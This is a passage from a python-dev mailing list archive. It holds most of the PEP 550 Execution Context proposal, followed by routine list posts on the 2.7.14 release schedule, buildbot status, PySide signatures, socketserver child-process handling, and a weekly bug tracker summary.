func, *args, **kwargs)`` runs ``func(*args, **kwargs)`` in the current execution context using the specified logical context. Any changes that ``func`` does to the logical context will be persisted in ``lc``. This behaviour is different from the ``run_with_execution_context()`` function, which always creates a new throw-away logical context. In pseudo-code:: def run_with_logical_context(lc, func, *args, **kwargs): tstate = PyThreadState_Get() old_ec = tstate.execution_context tstate.execution_context = ExecutionContext( old_ec.logical_contexts + [lc] ) try: return func(*args, **kwargs) finally: tstate.execution_context = old_ec Using the previous example:: ci = sys.new_context_key('ci') ci.set('spam') def func(): print(ci.get()) ci.set('ham') ec = sys.get_execution_context() lc = sys.new_logical_context() sys.run_with_logical_context(lc, func) sys.run_with_logical_context(lc, func) # Will print: # spam # ham As an example, let's make a subclass of ``concurrent.futures.ThreadPoolExecutor`` that preserves the execution context for scheduled functions:: class Executor(concurrent.futures.ThreadPoolExecutor): def submit(self, fn, *args, **kwargs): context = sys.get_execution_context() fn = functools.partial( sys.run_with_execution_context, context, fn, *args, **kwargs) return super().submit(fn) Generators ---------- Generators in Python are producers of data, and ``yield`` expressions are used to suspend/resume their execution. When generators suspend execution, their local state will "leak" to the outside code if they store it in a TLS or in a global variable:: local = threading.local() def gen(): old_x = local.x local.x = 'spam' try: yield ... yield finally: local.x = old_x The above code will not work as many Python users expect it to work. A simple ``next(gen())`` will set ``local.x`` to "spam" and it will never be reset back to its original value. One of the goals of this proposal is to provide a mechanism to isolate local state in generators. Generator Object Modifications ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ To achieve this, we make a small set of modifications to the generator object: * New ``__logical_context__`` attribute. This attribute is readable and writable for Python code. * When a generator object is instantiated its ``__logical_context__`` is initialized with an empty ``LogicalContext``. * Generator's ``.send()`` and ``.throw()`` methods are modified as follows (in pseudo-C):: if gen.__logical_context__ is not NULL: tstate = PyThreadState_Get() tstate.execution_context.push(gen.__logical_context__) try: # Perform the actual `Generator.send()` or # `Generator.throw()` call. return gen.send(...) finally: gen.__logical_context__ = tstate.execution_context.pop() else: # Perform the actual `Generator.send()` or # `Generator.throw()` call. return gen.send(...) If a generator has a non-NULL ``__logical_context__``, it will be pushed to the EC and, therefore, generators will use it to accumulate their local state. If a generator has no ``__logical_context__``, generators will will use whatever LC they are being run in. EC Semantics for Generators ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Every generator object has its own Logical Context that stores only its own local modifications of the context. When a generator is being iterated, its logical context will be put in the EC stack of the current thread. This means that the generator will be able to access keys from the surrounding context:: local = sys.new_context_key("local") global = sys.new_context_key("global") def generator(): local.set('inside gen:') while True: print(local.get(), global.get()) yield g = gen() local.set('hello') global.set('spam') next(g) local.set('world') global.set('ham') next(g) # Will print: # inside gen: spam # inside gen: ham Any changes to the EC in nested generators are invisible to the outer generator:: local = sys.new_context_key("local") def inner_gen(): local.set('spam') yield def outer_gen(): local.set('ham') yield from gen() print(local.get()) list(outer_gen()) # Will print: # ham Running generators without LC ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If ``__logical_context__`` is set to ``None`` for a generator, it will simply use the outer Logical Context. The ``(a)contextlib.contextmanager`` decorator uses this mechanism to allow its generator to affect the EC:: item = sys.new_context_key('item') @contextmanager def context(x): old = item.get() item.set('x') try: yield finally: item.set(old) with context('spam'): with context('ham'): print(1, item.get()) print(2, item.get()) # Will print: # 1 ham # 2 spam Implementing Generators with Iterators ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The Execution Context API allows to fully replicate EC behaviour imposed on generators with a regular Python iterator class:: class Gen: def __init__(self): self.logical_context = sys.new_logical_context() def __iter__(self): return self def __next__(self): return sys.run_with_logical_context( self.logical_context, self._next_impl) def _next_impl(self): # Actual __next__ implementation. ... yield from in generator-based coroutines ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Prior to :pep:`492`, ``yield from`` was used as one of the mechanisms to implement coroutines in Python. :pep:`492` is built on top of ``yield from`` machinery, and it is even possible to make a generator compatible with async/await code by decorating it with ``(a)types.coroutine`` (or ``(a)asyncio.coroutine``). Generators decorated with these decorators follow the Execution Context semantics described below in the `EC Semantics for Coroutines`_ section below. yield from in generators ^^^^^^^^^^^^^^^^^^^^^^^^ Another ``yield from`` use is to compose generators. Essentially, ``yield from gen()`` is a better version of ``for v in gen(): yield v`` (read more about many subtle details in :pep:`380`.) A crucial difference between ``await coro`` and ``yield value`` is that the former expression guarantees that the ``coro`` will be executed fully, while the latter is producing ``value`` and suspending the generator until it gets iterated again. Therefore, this proposal does not special case ``yield from`` expression for regular generators:: item = sys.new_context_key('item') def nested(): assert item.get() == 'outer' item.set('inner') yield def outer(): item.set('outer') yield from nested() assert item.get() == 'outer' EC Semantics for Coroutines --------------------------- Python :pep:`492` coroutines are used to implement cooperative multitasking. For a Python end-user they are similar to threads, especially when it comes to sharing resources or modifying the global state. An event loop is needed to schedule coroutines. Coroutines that are explicitly scheduled by the user are usually called Tasks. When a coroutine is scheduled, it can schedule other coroutines using an ``await`` expression. In async/await world, awaiting a coroutine is equivalent to a regular function call in synchronous code. Thus, Tasks are similar to threads. By drawing a parallel between regular multithreaded code and async/await, it becomes apparent that any modification of the execution context within one Task should be visible to all coroutines scheduled within it. Any execution context modifications, however, must not be visible to other Tasks executing within the same OS thread. Similar to generators, coroutines have the new ``__logical_context__`` attribute and same implementations of ``.send()`` and ``.throw()`` methods. The key difference is that coroutines start with ``__logical_context__`` set to ``NULL`` (generators start with an empty ``LogicalContext``.) This means that it is expected that the asynchronous library and its Task abstraction will control how exactly coroutines interact with Execution Context. Tasks ^^^^^ In asynchronous frameworks like asyncio, coroutines are run by an event loop, and need to be explicitly scheduled (in asyncio coroutines are run by ``asyncio.Task``.) To enable correct Execution Context propagation into Tasks, the asynchronous framework needs to assist the interpreter: * When ``create_task`` is called, it should capture the current execution context with ``sys.get_execution_context()`` and save it on the Task object. * The ``__logical_context__`` of the wrapped coroutine should be initialized to a new empty logical context. * When the Task object runs its coroutine object, it should execute ``.send()`` and ``.throw()`` methods within the captured execution context, using the ``sys.run_with_execution_context()`` function. For ``asyncio.Task``:: class Task: def __init__(self, coro): ... self.exec_context = sys.get_execution_context() coro.__logical_context__ = sys.new_logical_context() def _step(self, val): ... sys.run_with_execution_context( self.exec_context, self.coro.send, val) ... This makes any changes to execution context made by nested coroutine calls within a Task to be visible throughout the Task:: ci = sys.new_context_key('ci') async def nested(): ci.set('nested') async def main(): ci.set('main') print('before:', ci.get()) await nested() print('after:', ci.get()) asyncio.get_event_loop().run_until_complete(main()) # Will print: # before: main # after: nested New Tasks, started within another Task, will run in the correct execution context too:: current_request = sys.new_context_key('current_request') async def child(): print('current request:', repr(current_request.get())) async def handle_request(request): current_request.set(request) event_loop.create_task(child) run(top_coro()) # Will print: # current_request: None The above snippet will run correctly, and the ``child()`` coroutine will be able to access the current request object through the ``current_request`` Context Key. Any of the above examples would work if one the coroutines was a generator decorated with ``(a)asyncio.coroutine``. Event Loop Callbacks ^^^^^^^^^^^^^^^^^^^^ Similarly to Tasks, functions like asyncio's ``loop.call_soon()`` should capture the current execution context with ``sys.get_execution_context()`` and execute callbacks within it with ``sys.run_with_execution_context()``. This way the following code will work:: current_request = sys.new_context_key('current_request') def log(): request = current_request.get() print(request) async def request_handler(request): current_request.set(request) get_event_loop.call_soon(log) Asynchronous Generators ----------------------- Asynchronous Generators (AG) interact with the Execution Context similarly to regular generators. They have an ``__logical_context__`` attribute, which, similarly to regular generators, can be set to ``None`` to make them use the outer Logical Context. This is used by the new ``contextlib.asynccontextmanager`` decorator. Greenlets --------- Greenlet is an alternative implementation of cooperative scheduling for Python. Although greenlet package is not part of CPython, popular frameworks like gevent rely on it, and it is important that greenlet can be modified to support execution contexts. In a nutshell, greenlet design is very similar to design of generators. The main difference is that for generators, the stack is managed by the Python interpreter. Greenlet works outside of the Python interpreter, and manually saves some ``PyThreadState`` fields and pushes/pops the C-stack. Thus the ``greenlet`` package can be easily updated to use the new low-level `C API`_ to enable full support of EC. New APIs ======== Python ------ Python APIs were designed to completely hide the internal implementation details, but at the same time provide enough control over EC and LC to re-implement all of Python built-in objects in pure Python. 1. ``sys.new_context_key(name: str='...')``: create a ``ContextKey`` object used to access/set values in EC. 2. ``ContextKey``: * ``.name``: read-only attribute. * ``.get()``: return the current value for the key. * ``.set(o)``: set the current value in the EC for the key. 3. ``sys.get_execution_context()``: return the current ``ExecutionContext``. 4. ``sys.new_execution_context()``: create a new empty ``ExecutionContext``. 5. ``sys.new_logical_context()``: create a new empty ``LogicalContext``. 6. ``sys.run_with_execution_context(ec: ExecutionContext, func, *args, **kwargs)``. 7. ``sys.run_with_logical_context(lc:LogicalContext, func, *args, **kwargs)``. C API ----- 1. ``PyContextKey * PyContext_NewKey(char *desc)``: create a ``PyContextKey`` object. 2. ``PyObject * PyContext_GetKey(PyContextKey *)``: get the current value for the context key. 3. ``int PyContext_SetKey(PyContextKey *, PyObject *)``: set the current value for the context key. 4. ``PyLogicalContext * PyLogicalContext_New()``: create a new empty ``PyLogicalContext``. 5. ``PyLogicalContext * PyExecutionContext_New()``: create a new empty ``PyExecutionContext``. 6. ``PyExecutionContext * PyExecutionContext_Get()``: get the EC for the active thread state. 7. ``int PyExecutionContext_Set(PyExecutionContext *)``: set the passed EC object as the current for the active thread state. 8. ``int PyExecutionContext_SetWithLogicalContext(PyExecutionContext *, PyLogicalContext *)``: allows to implement ``sys.run_with_logical_context`` Python API. Implementation Strategy ======================= LogicalContext is a Weak Key Mapping ------------------------------------ Using a weak key mapping for ``LogicalContext`` implementation enables the following properties with regards to garbage collection: * ``ContextKey`` objects are strongly-referenced only from the application code, not from any of the Execution Context machinery or values they point to. This means that there are no reference cycles that could extend their lifespan longer than necessary, or prevent their garbage collection. * Values put in the Execution Context are guaranteed to be kept alive while there is a ``ContextKey`` key referencing them in the thread. * If a ``ContextKey`` is garbage collected, all of its values will be removed from all contexts, allowing them to be GCed if needed. * If a thread has ended its execution, its thread state will be cleaned up along with its ``ExecutionContext``, cleaning up all values bound to all Context Keys in the thread. ContextKey.get() Cache ---------------------- We can add three new fields to ``PyThreadState`` and ``PyInterpreterState`` structs: * ``uint64_t PyThreadState->unique_id``: a globally unique thread state identifier (we can add a counter to ``PyInterpreterState`` and increment it when a new thread state is created.) * ``uint64_t ContextKey->version``: every time the key is updated in any logical context or thread, this key will be incremented. The above two fields allow implementing a fast cache path in ``ContextKey.get()``, in pseudo-code:: class ContextKey: def set(self, value): ... # implementation self.version += 1 def get(self): tstate = PyThreadState_Get() if (self.last_tstate_id == tstate.unique_id and self.last_version == self.version): return self.last_value value = None for mapping in reversed(tstate.execution_context): if self in mapping: value = mapping[self] break self.last_value = value # borrowed ref self.last_tstate_id = tstate.unique_id self.last_version = self.version return value Note that ``last_value`` is a borrowed reference. The assumption is that if current thread and key version tests are OK, the object will be alive. This allows the CK values to be properly GCed. This is similar to the trick that decimal C implementation uses for caching the current decimal context, and will have the same performance characteristics, but available to all Execution Context users. Approach #1: Use a dict for LogicalContext ------------------------------------------ The straightforward way of implementing the proposed EC mechanisms is to create a ``WeakKeyDict`` on top of Python ``dict`` type. To implement the ``ExecutionContext`` type we can use Python ``list`` (or a custom stack implementation with some pre-allocation optimizations). This approach will have the following runtime complexity: * O(M) for ``ContextKey.get()``, where ``M`` is the number of Logical Contexts in the stack. It is important to note that ``ContextKey.get()`` will implement a cache making the operation O(1) for packages like ``decimal`` and ``numpy``. * O(1) for ``ContextKey.set()``. * O(N) for ``sys.get_execution_context()``, where ``N`` is the total number of keys/values in the current **execution** context. Approach #2: Use HAMT for LogicalContext ---------------------------------------- Languages like Clojure and Scala use Hash Array Mapped Tries (HAMT) to implement high performance immutable collections [5]_, [6]_. Immutable mappings implemented with HAMT have O(log\ :sub:`32`\ N) performance for both ``set()``, ``get()``, and ``merge()`` operations, which is essentially O(1) for relatively small mappings (read about HAMT performance in CPython in the `Appendix: HAMT Performance`_ section.) In this approach we use the same design of the ``ExecutionContext`` as in Approach #1, but we will use HAMT backed weak key Logical Context implementation. With that we will have the following runtime complexity: * O(M * log\ :sub:`32`\ N) for ``ContextKey.get()``, where ``M`` is the number of Logical Contexts in the stack, and ``N`` is the number of keys/values in the EC. The operation will essentially be O(M), because execution contexts are normally not expected to have more than a few dozen of keys/values. (``ContextKey.get()`` will have the same caching mechanism as in Approach #1.) * O(log\ :sub:`32`\ N) for ``ContextKey.set()`` where ``N`` is the number of keys/values in the current **logical** context. This will essentially be an O(1) operation most of the time. * O(log\ :sub:`32`\ N) for ``sys.get_execution_context()``, where ``N`` is the total number of keys/values in the current **execution** context. Essentially, using HAMT for Logical Contexts instead of Python dicts, allows to bring down the complexity of ``sys.get_execution_context()`` from O(N) to O(log\ :sub:`32`\ N) because of the more efficient merge algorithm. Approach #3: Use HAMT and Immutable Linked List ----------------------------------------------- We can make an alternative ``ExecutionContext`` design by using a linked list. Each ``LogicalContext`` in the ``ExecutionContext`` object will be wrapped in a linked-list node. ``LogicalContext`` objects will use an HAMT backed weak key implementation described in the Approach #2. Every modification to the current ``LogicalContext`` will produce a new version of it, which will be wrapped in a **new linked list node**. Essentially this means, that ``ExecutionContext`` is an immutable forest of ``LogicalContext`` objects, and can be safely copied by reference in ``sys.get_execution_context()`` (eliminating the expensive "merge" operation.) With this approach, ``sys.get_execution_context()`` will be a constant time **O(1) operation**. In case we decide to apply additional optimizations such as flattening ECs with too many Logical Contexts, HAMT-backed immutable mapping will have a O(log\ :sub:`32`\ N) merge complexity. Summary ------- We believe that approach #3 enables an efficient and complete Execution Context implementation, with excellent runtime performance. `ContextKey.get() Cache`_ enables fast retrieval of context keys for performance critical libraries like decimal and numpy. Fast ``sys.get_execution_context()`` enables efficient management of execution contexts in asynchronous libraries like asyncio. Design Considerations ===================== Can we fix ``PyThreadState_GetDict()``? --------------------------------------- ``PyThreadState_GetDict`` is a TLS, and some of its existing users might depend on it being just a TLS. Changing its behaviour to follow the Execution Context semantics would break backwards compatibility. PEP 521 ------- :pep:`521` proposes an alternative solution to the problem: enhance Context Manager Protocol with two new methods: ``__suspend__`` and ``__resume__``. To make it compatible with async/await, the Asynchronous Context Manager Protocol will also need to be extended with ``__asuspend__`` and ``__aresume__``. This allows to implement context managers like decimal context and ``numpy.errstate`` for generators and coroutines. The following code:: class Context: def __init__(self): self.key = new_context_key('key') def __enter__(self): self.old_x = self.key.get() self.key.set('something') def __exit__(self, *err): self.key.set(self.old_x) would become this:: local = threading.local() class Context: def __enter__(self): self.old_x = getattr(local, 'x', None) local.x = 'something' def __suspend__(self): local.x = self.old_x def __resume__(self): local.x = 'something' def __exit__(self, *err): local.x = self.old_x Besides complicating the protocol, the implementation will likely negatively impact performance of coroutines, generators, and any code that uses context managers, and will notably complicate the interpreter implementation. :pep:`521` also does not provide any mechanism to propagate state in a logical context, like storing a request object in an HTTP request handler to have better logging. Nor does it solve the leaking state problem for greenlet/gevent. Can Execution Context be implemented outside of CPython? -------------------------------------------------------- Because async/await code needs an event loop to run it, an EC-like solution can be implemented in a limited way for coroutines. Generators, on the other hand, do not have an event loop or trampoline, making it impossible to intercept their ``yield`` points outside of the Python interpreter. Should we update sys.displayhook and other APIs to use EC? ---------------------------------------------------------- APIs like redirecting stdout by overwriting ``sys.stdout``, or specifying new exception display hooks by overwriting the ``sys.displayhook`` function are affecting the whole Python process **by design**. Their users assume that the effect of changing them will be visible across OS threads. Therefore we cannot just make these APIs to use the new Execution Context. That said we think it is possible to design new APIs that will be context aware, but that is outside of the scope of this PEP. Backwards Compatibility ======================= This proposal preserves 100% backwards compatibility. Appendix: HAMT Performance ========================== While investigating possibilities of how to implement an immutable mapping in CPython, we were able to improve the efficiency of ``dict.copy()`` up to 5 times: [4]_. One caveat is that the improved ``dict.copy()`` does not resize the dict, which is a necessary thing to do when items get deleted from the dict. Which means that we can make ``dict.copy()`` faster for only dicts that don't need to be resized, and the ones that do, will use a slower version. To assess if HAMT can be used for Execution Context, we implemented it in CPython [7]_. .. figure:: pep-0550-hamt_vs_dict.png :align: center :width: 100% Figure 1. Benchmark code can be found here: [9]_. The chart illustrates the following: * HAMT displays near O(1) performance for all benchmarked dictionary sizes. * If we can use the optimized ``dict.copy()`` implementation ([4]_), the performance of immutable mapping implemented with Python ``dict`` is good up until 100 items. * A dict with an unoptimized ``dict.copy()`` becomes very slow around 100 items. .. figure:: pep-0550-lookup_hamt.png :align: center :width: 100% Figure 2. Benchmark code can be found here: [10]_. Figure 2 shows comparison of lookup costs between Python dict and an HAMT immutable mapping. HAMT lookup time is 30-40% worse than Python dict lookups on average, which is a very good result, considering how well Python dicts are optimized. Note, that according to [8]_, HAMT design can be further improved. The bottom line is that it is possible to imagine a scenario when an application has more than 100 items in the Execution Context, in which case the dict-backed implementation of an immutable mapping becomes a subpar choice. HAMT on the other hand guarantees that its ``set()``, ``get()``, and ``merge()`` operations will execute in O(log\ :sub:`32`\ ) time, which means it is a more future proof solution. Acknowledgments =============== I thank Elvis Pranskevichus and Victor Petrovykh for countless discussions around the topic and PEP proof reading and edits. Thanks to Nathaniel Smith for proposing the ``ContextKey`` design [17]_ [18]_, for pushing the PEP towards a more complete design, and coming up with the idea of having a stack of contexts in the thread state. Thanks to Nick Coghlan for numerous suggestions and ideas on the mailing list, and for coming up with a case that cause the complete rewrite of the initial PEP version [19]_. Version History =============== 1. Posted on 11-Aug-2017, view it here: [20]_. 2. Posted on 15-Aug-2017, view it here: [21]_. The fundamental limitation that caused a complete redesign of the first version was that it was not possible to implement an iterator that would interact with the EC in the same way as generators (see [19]_.) Version 2 was a complete rewrite, introducing new terminology (Local Context, Execution Context, Context Item) and new APIs. 3. Posted on 18-Aug-2017: the current version. Updates: * Local Context was renamed to Logical Context. The term "local" was ambiguous and conflicted with local name scopes. * Context Item was renamed to Context Key, see the thread with Nick Coghlan, Stefan Krah, and Yury Selivanov [22]_ for details. * Context Item get cache design was adjusted, per Nathaniel Smith's idea in [24]_. * Coroutines are created without a Logical Context; ceval loop no longer needs to special case the ``await`` expression (proposed by Nick Coghlan in [23]_.) * `Appendix: HAMT Performance`_ section was updated with more details about the proposed ``dict.copy()`` optimization and its limitations. References ========== .. [1] https://blog.golang.org/context .. [2] https://msdn.microsoft.com/en-us/library/system.threading.executioncontext.… .. [3] https://github.com/numpy/numpy/issues/9444 .. [4] http://bugs.python.org/issue31179 .. [5] https://en.wikipedia.org/wiki/Hash_array_mapped_trie .. [6] http://blog.higher-order.net/2010/08/16/assoc-and-clojures-persistenthashma… .. [7] https://github.com/1st1/cpython/tree/hamt .. [8] https://michael.steindorfer.name/publications/oopsla15.pdf .. [9] https://gist.github.com/1st1/9004813d5576c96529527d44c5457dcd .. [10] https://gist.github.com/1st1/dbe27f2e14c30cce6f0b5fddfc8c437e .. [11] https://github.com/1st1/cpython/tree/pep550 .. [12] https://www.python.org/dev/peps/pep-0492/#async-await .. [13] https://github.com/MagicStack/uvloop/blob/master/examples/bench/echoserver.… .. [14] https://github.com/MagicStack/pgbench .. [15] https://github.com/python/performance .. [16] https://gist.github.com/1st1/6b7a614643f91ead3edf37c4451a6b4c .. [17] https://mail.python.org/pipermail/python-ideas/2017-August/046752.html .. [18] https://mail.python.org/pipermail/python-ideas/2017-August/046772.html .. [19] https://mail.python.org/pipermail/python-ideas/2017-August/046775.html .. [20] https://github.com/python/peps/blob/e8a06c9a790f39451d9e99e203b13b3ad73a1d0… .. [21] https://github.com/python/peps/blob/e3aa3b2b4e4e9967d28a10827eed1e9e5960c17… .. [22] https://mail.python.org/pipermail/python-ideas/2017-August/046801.html .. [23] https://mail.python.org/pipermail/python-ideas/2017-August/046790.html .. [24] https://mail.python.org/pipermail/python-ideas/2017-August/046786.html Copyright ========= This document has been placed in the public domain.

10 27

2.7.14 schedule
by Benjamin Peterson Aug. 20, 2017

Aug. 20, 2017

Hi all, I've set the 2.7.14 release schedule. There will be a release candidate on August 26 with a planned final for September 16.

1 0

Buildbot report, August 2017
by Victor Stinner Aug. 19, 2017

Aug. 19, 2017

Hi, Here is a quick report of what changed recently on buildbots. == pythoninfo == I added a new "python3 -m test.pythoninfo" command which is now run on Travis CI, AppVeyor and buildbots. https://bugs.python.org/issue30871 This command dumps various informations to help debugging test failures on our CIs. For example, you get the Tcl version, information about the threading implementation, etc. Currently, pythoninfo is only run on the master branch, but I plan to run it on Python 3.6 and 2.7 later. The pythoninfo idea comes from https://bugs.python.org/issue29854 when we didn't know the readline version of a buildbot, and I didn't want to put such information in regrtest header, since importing readline has side effects. == Removed buildbots == A few buildbots were removed: * All Python 3.5 buildbots was removed, since the 3.5 branch entered the security only stage: https://mail.python.org/pipermail/python-dev/2017-August/148794.html * FreeBSD 9-STABLE (koobs-freebsd9): FreeBSD 9 is no more supported upstream, use FreeBSD 10 and FreeBSD CURRENT buildbots * OpenIndiana: was offline since the beginning of June. Previous discussions on this list: * September 2016: OpenIndiana and Solaris support https://mail.python.org/pipermail/python-dev/2016-September/146538.html * April 2015: MemoryError and other bugs on AMD64 OpenIndiana 3.x https://mail.python.org/pipermail/python-dev/2015-April/138967.html * September 2014: Sad status of Python 3.x buildbots https://mail.python.org/pipermail/python-dev/2014-September/136175.html * intel-ubuntu-skylake: Florin Papa wrote me that the machine became unavailable in December 2016. * Yosemite ICC buildbot (intel-yosemite-icc): it was maintained by Zachary Ware and R. David Murray. Sadly, David lost the VM image to a disk crash :-( New ICC buildbots may come back later, wait & see ;-) * macOS Snow Leopard (murray-snowleopard): this old machine was stuck at boot for an unknown reason. "It's an old machine, and it is probably time to get rid of it." wrote R. David Murray :-) == Reduced failure rate == As usual, many race conditions were fixed in tests and in the code, to reduce the buildbot failure rate. I may list them in a blog post, later. == What's Next? == * Buildbot should be upgrade to buildbot 0.9: https://github.com/python/buildmaster-config/pull/12 * Zachary Ware plans to rewrite our buildbot configuration during the CPython sprint (Sept 4-9) * test_logging fails randomly on FreeBSD 10 with a warning related to threads (bpo-30830). I was trying to reproduce the bug since 2 months. I just identified to root bug! https://bugs.python.org/issue31233 "socketserver.ThreadingMixIn leaks running threads after server_close()". * The "Docs" buildbot (currently offline) may be dropped as well, https://github.com/python/buildmaster-config/pull/21 See also my previous buildbot report: https://haypo.github.io/python-buildbots-2017q2.html Victor

2 1

__signature__ for PySide ready
by Christian Tismer Aug. 19, 2017

Aug. 19, 2017

Hi friends, in the last months, I have developed signature support for PySide. The module creates the same signatures as are known for plain Python functions. As a non-trivial addition, the module also handles multiple signatures as a list. I consider this extension to PySide as quite essential and actually more important as for Python itself, because type info is rather crucial for PySide. Initially, I wrote this as a pure Python 3 extension. Then I was "asked" to port this to Python 2 too, which was quite hairy to do. I'm not sure if I should have done that. Before I publish this module, I want to ask: -------------------------------------------- Is it a bad idea to support signatures in Python 2 as well? Do I introduce a feature that should not exist in Python 2? Or is it fine to do so? Please let me know your opinion, I am happy with any result. Cheers -- Chris -- Christian Tismer :^) tismer(a)stackless.com Software Consulting : http://www.stackless.com/ Karl-Liebknecht-Str. 121 : https://github.com/PySide 14482 Potsdam : GPG key -> 0xFB7BEE0E phone +49 173 24 18 776 fax +49 (30) 700143-0023

5 7

socketserver ForkingMixin waiting for child processes
by Victor Stinner Aug. 18, 2017

Aug. 18, 2017

Hi, I'm working on reducing the failure rate of Python CIs (Travis CI, AppVeyor, buildbots). For that, I'm trying to reduce test side effects using "environment altered" warnings. This week, I worked on support.reap_children() which detects leaked child processes (usually created with os.fork()). I found a bug in the socketserver module: it waits for child processes completion, but only in non-blocking mode. If a child process takes too long, the server will never reads its exit status and so the server leaks "zombie processes". Leaking processes can increase the memory usage, spawning new processes can fail, etc. => http://bugs.python.org/issue31151 I changed the code to call waitpid() in blocking mode on each child process on server_close(), to ensure that all children completed when on server close: https://github.com/python/cpython/commit/aa8ec34ad52bb3b274ce91169e1bc4a598… After pushing my change, I'm not sure anymore if it's a good idea. There is a risk that server_close() blocks if a child is stuck on a socket recv() or send() for some reasons. Should we relax the code by waiting a few seconds (problem: hardcoded timeouts are always a bad idea), or *terminate* processes (SIGKILL on UNIX) if they don't complete fast enough? I don't know which applications use socketserver. How I can test if it breaks code in the wild? At least, I didn't notice any regression on Python CIs. Well, maybe the change is ok for the master branch. But I would like your opinion because now I would like to backport the fix to 2.7 and 3.6 branches. It might break some applications. If we *cannot* backport such change to 2.7 and 3.6 because it changes the behaviour, I will fix the bug in test_socketserver.py instead. What do you think? Victor

4 5

Summary of Python tracker Issues
by Python tracker Aug. 18, 2017

Aug. 18, 2017

ACTIVITY SUMMARY (2017-08-11 - 2017-08-18) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue. Do NOT respond to this message. Issues counts and deltas: open 6133 (+17) closed 36852 (+32) total 42985 (+49) Open issues with patches: 2343 Issues opened (35) ================== #14976: queue.Queue() is not reentrant, so signals and GC can cause de http://bugs.python.org/issue14976 reopened by yselivanov #30747: _Py_atomic_* not actually atomic on Windows with MSVC http://bugs.python.org/issue30747 reopened by steve.dower #30983: eval frame rename in pep 0523 broke gdb's python extension http://bugs.python.org/issue30983 reopened by haypo #31170: expat: utf8_toUtf8 cannot properly handle exhausting buffer http://bugs.python.org/issue31170 reopened by tianlynn #31184: Fix data descriptor detection in inspect.getattr_static http://bugs.python.org/issue31184 opened by davidhalter #31185: Miscellaneous errors in asyncio speedup module http://bugs.python.org/issue31185 opened by serhiy.storchaka #31188: Makefile.pre.in: commoninstall: reformat http://bugs.python.org/issue31188 opened by dilyan.palauzov #31189: README.rst: installing multiple versions: typo http://bugs.python.org/issue31189 opened by dilyan.palauzov #31190: ./configure: add ability to build and install only shared libr http://bugs.python.org/issue31190 opened by dilyan.palauzov #31191: Fix grammar in threading.Barrier docs http://bugs.python.org/issue31191 opened by schedutron #31193: re.IGNORECASE strips combining character from lower case of LA http://bugs.python.org/issue31193 opened by David MacIver #31196: Blank line inconsistency between InteractiveConsole and standa http://bugs.python.org/issue31196 opened by Malcolm Smith #31197: Namespace disassembly omits some compiled objects http://bugs.python.org/issue31197 opened by ncoghlan #31199: configure checks fail confusingly under --with-address-sanitiz http://bugs.python.org/issue31199 opened by pmatos #31200: address sanitizer build fails http://bugs.python.org/issue31200 opened by pmatos #31201: module test that failed doesn't exist http://bugs.python.org/issue31201 opened by pmatos #31202: Windows pathlib.Path.glob(pattern) fixed part of the pattern c http://bugs.python.org/issue31202 opened by aicirbs #31203: socket.IP_PKTINFO is missing from python http://bugs.python.org/issue31203 opened by guerby #31206: IDLE, configdialog: Factor out HighPage class from ConfigDialo http://bugs.python.org/issue31206 opened by terry.reedy #31207: IDLE, configdialog: Factor out ExtPage class from ConfigDialog http://bugs.python.org/issue31207 opened by terry.reedy #31209: MappingProxyType can not be pickled http://bugs.python.org/issue31209 opened by Alex Hayes #31210: Can not import modules if sys.prefix contains DELIM http://bugs.python.org/issue31210 opened by ced #31211: distutils/util.py get_platform() does not identify linux-i686 http://bugs.python.org/issue31211 opened by siming85 #31212: datetime: min date (0001-01-01 00:00:00) can't be converted to http://bugs.python.org/issue31212 opened by Dave Johansen #31213: __context__ reset to None in nested exception http://bugs.python.org/issue31213 opened by Christopher Stelma #31215: Add version changed notes for OpenSSL 1.1.0 compatibility http://bugs.python.org/issue31215 opened by ncoghlan #31217: test_code leaked [1, 1, 1] memory blocks on x86 Gentoo Refleak http://bugs.python.org/issue31217 opened by haypo #31218: del expects __delitem__ if __setitem__ is defined http://bugs.python.org/issue31218 opened by raumzeitkeks #31222: datetime.py implementation of .replace inconsistent with C imp http://bugs.python.org/issue31222 opened by p-ganssle #31224: Missing definition of frozen module http://bugs.python.org/issue31224 opened by marco.buttu #31226: shutil.rmtree fails when target has an internal directory junc http://bugs.python.org/issue31226 opened by vidartf #31227: regrtest: reseed random with the same seed before running a te http://bugs.python.org/issue31227 opened by haypo #31229: wrong error messages when too many kwargs are received http://bugs.python.org/issue31229 opened by Oren Milman #31230: Define a general "asynchronous operation introspection" protoc http://bugs.python.org/issue31230 opened by ncoghlan #31232: Backport the new custom "print >> sys.stderr" error message? http://bugs.python.org/issue31232 opened by ncoghlan Most recent 15 issues with no replies (15) ========================================== #31224: Missing definition of frozen module http://bugs.python.org/issue31224 #31207: IDLE, configdialog: Factor out ExtPage class from ConfigDialog http://bugs.python.org/issue31207 #31202: Windows pathlib.Path.glob(pattern) fixed part of the pattern c http://bugs.python.org/issue31202 #31196: Blank line inconsistency between InteractiveConsole and standa http://bugs.python.org/issue31196 #31191: Fix grammar in threading.Barrier docs http://bugs.python.org/issue31191 #31190: ./configure: add ability to build and install only shared libr http://bugs.python.org/issue31190 #31189: README.rst: installing multiple versions: typo http://bugs.python.org/issue31189 #31188: Makefile.pre.in: commoninstall: reformat http://bugs.python.org/issue31188 #31182: Suggested Enhancements to zipfile & tarfile command line inter http://bugs.python.org/issue31182 #31181: Segfault in gcmodule.c:360 visit_decref (PyObject_IS_GC(op)) http://bugs.python.org/issue31181 #31180: test_multiprocessing_spawn hangs randomly on x86 Windows7 3.6 http://bugs.python.org/issue31180 #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 #31177: unittest mock's reset_mock throws an error when an attribute h http://bugs.python.org/issue31177 #31176: Is a UDP transport also a ReadTransport/WriteTransport? http://bugs.python.org/issue31176 #31165: null pointer deref and segfault in list_slice (listobject.c:45 http://bugs.python.org/issue31165 Most recent 15 issues waiting for review (15) ============================================= #31229: wrong error messages when too many kwargs are received http://bugs.python.org/issue31229 #31185: Miscellaneous errors in asyncio speedup module http://bugs.python.org/issue31185 #31184: Fix data descriptor detection in inspect.getattr_static http://bugs.python.org/issue31184 #31183: `Dis` module doesn't know how to disassemble async generator o http://bugs.python.org/issue31183 #31179: Speed-up dict.copy() up to 5.5 times. 